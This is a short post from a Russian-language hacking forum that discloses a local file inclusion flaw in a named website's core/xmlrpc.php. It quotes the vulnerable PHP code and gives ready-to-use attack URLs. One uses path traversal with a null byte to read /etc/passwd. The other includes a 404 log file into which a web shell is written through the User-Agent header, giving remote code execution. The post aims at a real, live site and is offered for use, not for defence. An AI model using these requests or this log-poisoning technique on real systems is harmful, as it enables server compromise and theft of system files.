
12.12.2008, 20:59
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме: 13395217
Репутация:
2097
|
|
Локальный инклуд
core/xmlrpc.php
PHP код:
$xmlrpc_server = trim( $_GET['xmlrpc_server'] );
$uri = parse_url( $_SERVER['REQUEST_URI'] );
if ( $uri['query'] )
{
parse_str( $uri['query'], $_GET );
}
if ( true == is_file( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ) )
{
include_once( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" );
Как мы видим данные из $_GET['xmlrpc_server'] без какой-либо фильтрации попадают в инклуд
Пример запроса:
Код:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00a
Поскольку elinks записывает обращения к несуществующим страницам в файл, в него можно записать свой шелл(через user agent) и проиклудить:
Код:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a
|
|
|